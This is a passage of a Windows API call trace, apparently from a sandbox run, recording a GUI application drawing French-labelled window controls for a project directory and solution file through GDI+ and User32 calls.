[0225.310] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.310] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.310] GdipCreateRegion (region=0x52eae8) returned 0x0 [0225.310] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.310] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eaf4) returned 0x0 [0225.310] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb20) returned 0x0 [0225.310] GetWindowTextLengthW (hWnd=0x1017c) returned 23 [0225.310] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0225.310] GetSystemMetrics (nIndex=42) returned 0 [0225.310] GetWindowTextW (in: hWnd=0x1017c, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0225.310] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0225.310] GetClientRect (in: hWnd=0x1017c, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0225.310] GdipCreateRegion (region=0x52e93c) returned 0x0 [0225.310] GdipGetClip (graphics=0x4da5930, region=0x4da5f00) returned 0x0 [0225.310] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0225.310] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.310] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e954) returned 0x0 [0225.310] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.310] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.310] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.310] GdipCombineRegionRegion (region=0x4da5f00, region2=0x4da5c10, combineMode=0x1) returned 0x0 [0225.310] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.310] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.310] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.310] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.311] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e97c) returned 0x0 [0225.311] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e96c) returned 0x0 [0225.311] GdipGetRegionHRgn (region=0x4da5f00, graphics=0x4da5930, hRgn=0x52e96c) returned 0x0 [0225.311] GdipDeleteRegion (region=0x4da5f00) returned 0x0 [0225.311] GdipGetDC (graphics=0x4da5930, hdc=0x52e984) returned 0x0 [0225.311] GetCurrentObject (hdc=0x2f0106a3, type=0x1) returned 0x1b00017 [0225.311] GetCurrentObject (hdc=0x2f0106a3, type=0x2) returned 0x1900010 [0225.311] GetCurrentObject (hdc=0x2f0106a3, type=0x7) returned 0xa0506be [0225.311] GetCurrentObject (hdc=0x2f0106a3, type=0x6) returned 0x18a002e [0225.311] SaveDC (hdc=0x2f0106a3) returned 1 [0225.311] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2f0401e4 [0225.311] GetClipRgn (hdc=0x2f0106a3, hrgn=0x2f0401e4) returned 0 [0225.311] SelectClipRgn (hdc=0x2f0106a3, hrgn=0x58040221) returned 2 [0225.311] DeleteObject (ho=0x2f0401e4) returned 1 [0225.311] DeleteObject (ho=0x58040221) returned 1 [0225.311] OffsetViewportOrgEx (in: hdc=0x2f0106a3, x=0, y=0, lppt=0x2384150 | out: lppt=0x2384150) returned 1 [0225.311] GetNearestColor (hdc=0x2f0106a3, color=0xc8c8c8) returned 0xc8c8c8 [0225.311] CreateSolidBrush (color=0xc8c8c8) returned 0x101006b3 [0225.311] FillRect (hDC=0x2f0106a3, lprc=0x52e988, hbr=0x101006b3) returned 1 [0225.311] DeleteObject (ho=0x101006b3) returned 1 [0225.311] RestoreDC (hdc=0x2f0106a3, nSavedDC=-1) returned 1 [0225.311] GdipReleaseDC (graphics=0x4da5930, hdc=0x2f0106a3) returned 0x0 [0225.311] GdipRestoreGraphics (graphics=0x4da5930, state=0xfda70dbd) returned 0x0 [0225.311] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.311] GetWindowTextLengthW (hWnd=0x1017c) returned 23 [0225.311] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x17 [0225.311] GetSystemMetrics (nIndex=42) returned 0 [0225.312] GetWindowTextW (in: hWnd=0x1017c, lpString=0x52ea0c, nMaxCount=24 | out: lpString="Repertoire Projet 1 : ") returned 23 [0225.312] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xd, wParam=0x18, lParam=0x52ea0c) returned 0x17 [0225.312] GdipGetDC (graphics=0x4da5930, hdc=0x52e9a4) returned 0x0 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x1) returned 0x1b00017 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x2) returned 0x1900010 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x7) returned 0xa0506be [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x6) returned 0x18a002e [0225.312] SaveDC (hdc=0x2f0106a3) returned 1 [0225.312] GetNearestColor (hdc=0x2f0106a3, color=0x0) returned 0x0 [0225.312] RestoreDC (hdc=0x2f0106a3, nSavedDC=-1) returned 1 [0225.312] GdipReleaseDC (graphics=0x4da5930, hdc=0x2f0106a3) returned 0x0 [0225.312] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0225.312] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0225.312] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e944) returned 0x0 [0225.312] GdipGetDC (graphics=0x4da5930, hdc=0x52e930) returned 0x0 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x1) returned 0x1b00017 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x2) returned 0x1900010 [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x7) returned 0xa0506be [0225.312] GetCurrentObject (hdc=0x2f0106a3, type=0x6) returned 0x18a002e [0225.312] SaveDC (hdc=0x2f0106a3) returned 1 [0225.312] GetTextAlign (hdc=0x2f0106a3) returned 0x0 [0225.313] GetTextColor (hdc=0x2f0106a3) returned 0x0 [0225.313] GetCurrentObject (hdc=0x2f0106a3, type=0x6) returned 0x18a002e [0225.313] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0225.313] SelectObject (hdc=0x2f0106a3, h=0xc0a01e7) returned 0x18a002e [0225.313] GetBkMode (hdc=0x2f0106a3) returned 2 [0225.313] SetBkMode (hdc=0x2f0106a3, mode=1) returned 2 [0225.313] DrawTextExW (in: hdc=0x2f0106a3, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x52e70c, format=0x404, lpdtp=0x238462c | out: lpchText="Repertoire Projet 1 : ", lprc=0x52e70c) returned 13 [0225.313] DrawTextExW (in: hdc=0x2f0106a3, lpchText="Repertoire Projet 1 : ", cchText=23, lprc=0x52e8c4, format=0x4, lpdtp=0x238462c | out: lpchText="Repertoire Projet 1 : ", lprc=0x52e8c4) returned 13 [0225.313] RestoreDC (hdc=0x2f0106a3, nSavedDC=-1) returned 1 [0225.313] GdipReleaseDC (graphics=0x4da5930, hdc=0x2f0106a3) returned 0x0 [0225.313] GdipGetDC (graphics=0x4da5930, hdc=0x52eae0) returned 0x0 [0225.313] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x2f0106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.313] GdipReleaseDC (graphics=0x4da5930, hdc=0x2f0106a3) returned 0x0 [0225.313] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.313] SelectObject (hdc=0x2f0106a3, h=0x185000f) returned 0xa0506be [0225.313] DeleteDC (hdc=0x2f0106a3) returned 1 [0225.313] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.313] EndPaint (hWnd=0x1017c, lpPaint=0x52ea84) returned 1 [0225.313] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.314] IsWindowUnicode (hWnd=0x10180) returned 1 [0225.314] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.314] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.314] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.314] BeginPaint (in: hWnd=0x10180, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x100107ec [0225.314] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.314] SelectPalette (hdc=0x100107ec, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.314] CreateCompatibleDC (hdc=0x100107ec) returned 0x320106a3 [0225.314] SelectObject (hdc=0x320106a3, h=0xa0506be) returned 0x185000f [0225.314] GdipCreateFromHDC (hdc=0x320106a3, graphics=0x52eaa0) returned 0x0 [0225.314] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.314] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0225.314] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0225.314] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.314] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0225.314] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.314] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.314] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.314] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.314] GdipCreateRegion (region=0x52eae8) returned 0x0 [0225.314] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.315] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eaf4) returned 0x0 [0225.315] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb20) returned 0x0 [0225.315] GetWindowTextLengthW (hWnd=0x10180) returned 22 [0225.315] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0225.315] GetSystemMetrics (nIndex=42) returned 0 [0225.315] GetWindowTextW (in: hWnd=0x10180, lpString=0x52ea0c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0225.315] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0225.315] GetClientRect (in: hWnd=0x10180, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0225.315] GdipCreateRegion (region=0x52e93c) returned 0x0 [0225.315] GdipGetClip (graphics=0x4da5930, region=0x4da5f00) returned 0x0 [0225.315] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0225.315] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.315] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e954) returned 0x0 [0225.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.315] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.315] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.315] GdipCombineRegionRegion (region=0x4da5f00, region2=0x4da5c10, combineMode=0x1) returned 0x0 [0225.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.315] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.315] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.315] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.315] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e97c) returned 0x0 [0225.315] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e96c) returned 0x0 [0225.315] GdipGetRegionHRgn (region=0x4da5f00, graphics=0x4da5930, hRgn=0x52e96c) returned 0x0 [0225.315] GdipDeleteRegion (region=0x4da5f00) returned 0x0 [0225.315] GdipGetDC (graphics=0x4da5930, hdc=0x52e984) returned 0x0 [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x1) returned 0x1b00017 [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x2) returned 0x1900010 [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x7) returned 0xa0506be [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x6) returned 0x18a002e [0225.316] SaveDC (hdc=0x320106a3) returned 1 [0225.316] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x59040221 [0225.316] GetClipRgn (hdc=0x320106a3, hrgn=0x59040221) returned 0 [0225.316] SelectClipRgn (hdc=0x320106a3, hrgn=0x320401e4) returned 2 [0225.316] DeleteObject (ho=0x59040221) returned 1 [0225.316] DeleteObject (ho=0x320401e4) returned 1 [0225.316] OffsetViewportOrgEx (in: hdc=0x320106a3, x=0, y=0, lppt=0x2384a04 | out: lppt=0x2384a04) returned 1 [0225.316] GetNearestColor (hdc=0x320106a3, color=0xc8c8c8) returned 0xc8c8c8 [0225.316] CreateSolidBrush (color=0xc8c8c8) returned 0x111006b3 [0225.316] FillRect (hDC=0x320106a3, lprc=0x52e988, hbr=0x111006b3) returned 1 [0225.316] DeleteObject (ho=0x111006b3) returned 1 [0225.316] RestoreDC (hdc=0x320106a3, nSavedDC=-1) returned 1 [0225.316] GdipReleaseDC (graphics=0x4da5930, hdc=0x320106a3) returned 0x0 [0225.316] GdipRestoreGraphics (graphics=0x4da5930, state=0xfda50dbd) returned 0x0 [0225.316] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.316] GetWindowTextLengthW (hWnd=0x10180) returned 22 [0225.316] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x16 [0225.316] GetSystemMetrics (nIndex=42) returned 0 [0225.316] GetWindowTextW (in: hWnd=0x10180, lpString=0x52ea0c, nMaxCount=23 | out: lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 22 [0225.316] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xd, wParam=0x17, lParam=0x52ea0c) returned 0x16 [0225.316] GdipGetDC (graphics=0x4da5930, hdc=0x52e9a4) returned 0x0 [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x1) returned 0x1b00017 [0225.316] GetCurrentObject (hdc=0x320106a3, type=0x2) returned 0x1900010 [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x7) returned 0xa0506be [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x6) returned 0x18a002e [0225.317] SaveDC (hdc=0x320106a3) returned 1 [0225.317] GetNearestColor (hdc=0x320106a3, color=0x0) returned 0x0 [0225.317] RestoreDC (hdc=0x320106a3, nSavedDC=-1) returned 1 [0225.317] GdipReleaseDC (graphics=0x4da5930, hdc=0x320106a3) returned 0x0 [0225.317] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0225.317] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0225.317] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e944) returned 0x0 [0225.317] GdipGetDC (graphics=0x4da5930, hdc=0x52e930) returned 0x0 [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x1) returned 0x1b00017 [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x2) returned 0x1900010 [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x7) returned 0xa0506be [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x6) returned 0x18a002e [0225.317] SaveDC (hdc=0x320106a3) returned 1 [0225.317] GetTextAlign (hdc=0x320106a3) returned 0x0 [0225.317] GetTextColor (hdc=0x320106a3) returned 0x0 [0225.317] GetCurrentObject (hdc=0x320106a3, type=0x6) returned 0x18a002e [0225.317] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0225.317] SelectObject (hdc=0x320106a3, h=0xc0a01e7) returned 0x18a002e [0225.317] GetBkMode (hdc=0x320106a3) returned 2 [0225.317] SetBkMode (hdc=0x320106a3, mode=1) returned 2 [0225.318] DrawTextExW (in: hdc=0x320106a3, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x52e70c, format=0x404, lpdtp=0x2384ee0 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x52e70c) returned 13 [0225.318] DrawTextExW (in: hdc=0x320106a3, lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", cchText=22, lprc=0x52e8c4, format=0x4, lpdtp=0x2384ee0 | out: lpchText="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", lprc=0x52e8c4) returned 13 [0225.318] RestoreDC (hdc=0x320106a3, nSavedDC=-1) returned 1 [0225.318] GdipReleaseDC (graphics=0x4da5930, hdc=0x320106a3) returned 0x0 [0225.318] GdipGetDC (graphics=0x4da5930, hdc=0x52eae0) returned 0x0 [0225.318] BitBlt (hdc=0x100107ec, x=0, y=0, cx=161, cy=21, hdcSrc=0x320106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.318] GdipReleaseDC (graphics=0x4da5930, hdc=0x320106a3) returned 0x0 [0225.318] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.318] SelectObject (hdc=0x320106a3, h=0x185000f) returned 0xa0506be [0225.318] DeleteDC (hdc=0x320106a3) returned 1 [0225.318] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.318] EndPaint (hWnd=0x10180, lpPaint=0x52ea84) returned 1 [0225.318] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.318] IsWindowUnicode (hWnd=0x10184) returned 1 [0225.318] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.318] TranslateMessage (lpMsg=0x52ef98) returned 0 [0225.318] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0225.318] BeginPaint (in: hWnd=0x10184, lpPaint=0x52ea88 | out: lpPaint=0x52ea88) returned 0x60106b7 [0225.318] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0225.319] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0225.319] CreateCompatibleDC (hdc=0x60106b7) returned 0x350106a3 [0225.319] SelectObject (hdc=0x350106a3, h=0xa0506be) returned 0x185000f [0225.319] GdipCreateFromHDC (hdc=0x350106a3, graphics=0x52eaa0) returned 0x0 [0225.319] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0225.319] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=161, height=21, combineMode=0x0) returned 0x0 [0225.319] GdipCreateMatrix (matrix=0x52eae8) returned 0x0 [0225.319] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0225.319] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eb00) returned 0x0 [0225.319] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.319] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4a78) returned 0x0 [0225.319] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.319] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0225.319] GdipCreateRegion (region=0x52eae8) returned 0x0 [0225.319] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0225.319] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eaf4) returned 0x0 [0225.319] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb20) returned 0x0 [0225.319] GetWindowTextLengthW (hWnd=0x10184) returned 28 [0225.319] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0225.319] GetSystemMetrics (nIndex=42) returned 0 [0225.319] GetWindowTextW (in: hWnd=0x10184, lpString=0x52ea00, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0225.319] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xd, wParam=0x1d, lParam=0x52ea00) returned 0x1c [0225.320] GetClientRect (in: hWnd=0x10184, lpRect=0x52eae8 | out: lpRect=0x52eae8) returned 1 [0225.320] GdipCreateRegion (region=0x52e93c) returned 0x0 [0225.320] GdipGetClip (graphics=0x4da5930, region=0x4da5f00) returned 0x0 [0225.320] GdipCreateMatrix (matrix=0x52e93c) returned 0x0 [0225.320] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0225.320] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e954) returned 0x0 [0225.320] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.320] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.320] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.320] GdipCombineRegionRegion (region=0x4da5f00, region2=0x4da5c10, combineMode=0x1) returned 0x0 [0225.320] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4a78 [0225.320] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4a78) returned 0x0 [0225.320] LocalFree (hMem=0x4fa4a78) returned 0x0 [0225.320] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0225.320] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e97c) returned 0x0 [0225.320] GdipIsInfiniteRegion (region=0x4da5f00, graphics=0x4da5930, result=0x52e96c) returned 0x0 [0225.320] GdipGetRegionHRgn (region=0x4da5f00, graphics=0x4da5930, hRgn=0x52e96c) returned 0x0 [0225.320] GdipDeleteRegion (region=0x4da5f00) returned 0x0 [0225.320] GdipGetDC (graphics=0x4da5930, hdc=0x52e984) returned 0x0 [0225.320] GetCurrentObject (hdc=0x350106a3, type=0x1) returned 0x1b00017 [0225.320] GetCurrentObject (hdc=0x350106a3, type=0x2) returned 0x1900010 [0225.320] GetCurrentObject (hdc=0x350106a3, type=0x7) returned 0xa0506be [0225.320] GetCurrentObject (hdc=0x350106a3, type=0x6) returned 0x18a002e [0225.320] SaveDC (hdc=0x350106a3) returned 1 [0225.320] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x330401e4 [0225.320] GetClipRgn (hdc=0x350106a3, hrgn=0x330401e4) returned 0 [0225.320] SelectClipRgn (hdc=0x350106a3, hrgn=0x5c040221) returned 2 [0225.320] DeleteObject (ho=0x330401e4) returned 1 [0225.321] DeleteObject (ho=0x5c040221) returned 1 [0225.321] OffsetViewportOrgEx (in: hdc=0x350106a3, x=0, y=0, lppt=0x23852dc | out: lppt=0x23852dc) returned 1 [0225.477] GetNearestColor (hdc=0x350106a3, color=0xc8c8c8) returned 0xc8c8c8 [0225.477] CreateSolidBrush (color=0xc8c8c8) returned 0x121006b3 [0225.477] FillRect (hDC=0x350106a3, lprc=0x52e988, hbr=0x121006b3) returned 1 [0225.477] DeleteObject (ho=0x121006b3) returned 1 [0225.477] RestoreDC (hdc=0x350106a3, nSavedDC=-1) returned 1 [0225.477] GdipReleaseDC (graphics=0x4da5930, hdc=0x350106a3) returned 0x0 [0225.477] GdipRestoreGraphics (graphics=0x4da5930, state=0xfda30dbd) returned 0x0 [0225.477] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0225.477] GetWindowTextLengthW (hWnd=0x10184) returned 28 [0225.477] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1c [0225.478] GetSystemMetrics (nIndex=42) returned 0 [0225.478] GetWindowTextW (in: hWnd=0x10184, lpString=0x52ea00, nMaxCount=29 | out: lpString="Fichier solution du projet :") returned 28 [0225.478] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10184, Msg=0xd, wParam=0x1d, lParam=0x52ea00) returned 0x1c [0225.478] GdipGetDC (graphics=0x4da5930, hdc=0x52e9a4) returned 0x0 [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x1) returned 0x1b00017 [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x2) returned 0x1900010 [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x7) returned 0xa0506be [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x6) returned 0x18a002e [0225.478] SaveDC (hdc=0x350106a3) returned 1 [0225.478] GetNearestColor (hdc=0x350106a3, color=0x0) returned 0x0 [0225.478] RestoreDC (hdc=0x350106a3, nSavedDC=-1) returned 1 [0225.478] GdipReleaseDC (graphics=0x4da5930, hdc=0x350106a3) returned 0x0 [0225.478] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0225.478] AdjustWindowRectEx (in: lpRect=0x52e8c8, dwStyle=0x5680000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x52e8c8) returned 1 [0225.478] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e944) returned 0x0 [0225.478] GdipGetDC (graphics=0x4da5930, hdc=0x52e930) returned 0x0 [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x1) returned 0x1b00017 [0225.478] GetCurrentObject (hdc=0x350106a3, type=0x2) returned 0x1900010 [0225.479] GetCurrentObject (hdc=0x350106a3, type=0x7) returned 0xa0506be [0225.479] GetCurrentObject (hdc=0x350106a3, type=0x6) returned 0x18a002e [0225.479] SaveDC (hdc=0x350106a3) returned 1 [0225.479] GetTextAlign (hdc=0x350106a3) returned 0x0 [0225.479] GetTextColor (hdc=0x350106a3) returned 0x0 [0225.479] GetCurrentObject (hdc=0x350106a3, type=0x6) returned 0x18a002e [0225.479] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e638 | out: pv=0x52e638) returned 92 [0225.479] SelectObject (hdc=0x350106a3, h=0xc0a01e7) returned 0x18a002e [0225.479] GetBkMode (hdc=0x350106a3) returned 2 [0225.479] SetBkMode (hdc=0x350106a3, mode=1) returned 2 [0225.479] DrawTextExW (in: hdc=0x350106a3, lpchText="Fichier solution du projet :", cchText=28, lprc=0x52e70c, format=0x404, lpdtp=0x23a5c0c | out: lpchText="Fichier solution du projet :", lprc=0x52e70c) returned 13 [0225.479] DrawTextExW (in: hdc=0x350106a3, lpchText="Fichier solution du projet :", cchText=28, lprc=0x52e8c4, format=0x4, lpdtp=0x23a5c0c | out: lpchText="Fichier solution du projet :", lprc=0x52e8c4) returned 13 [0225.479] RestoreDC (hdc=0x350106a3, nSavedDC=-1) returned 1 [0225.479] GdipReleaseDC (graphics=0x4da5930, hdc=0x350106a3) returned 0x0 [0225.479] GdipGetDC (graphics=0x4da5930, hdc=0x52eae0) returned 0x0 [0225.480] BitBlt (hdc=0x60106b7, x=0, y=0, cx=161, cy=21, hdcSrc=0x350106a3, x1=0, y1=0, rop=0xcc0020) returned 1 [0225.501] GdipReleaseDC (graphics=0x4da5930, hdc=0x350106a3) returned 0x0 [0225.501] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0225.501] SelectObject (hdc=0x350106a3, h=0x185000f) returned 0xa0506be [0225.501] DeleteDC (hdc=0x350106a3) returned 1 [0225.501] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0225.501] EndPaint (hWnd=0x10184, lpPaint=0x52ea84) returned 1 [0225.501] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0225.501] IsWindowUnicode (hWnd=0x10186) 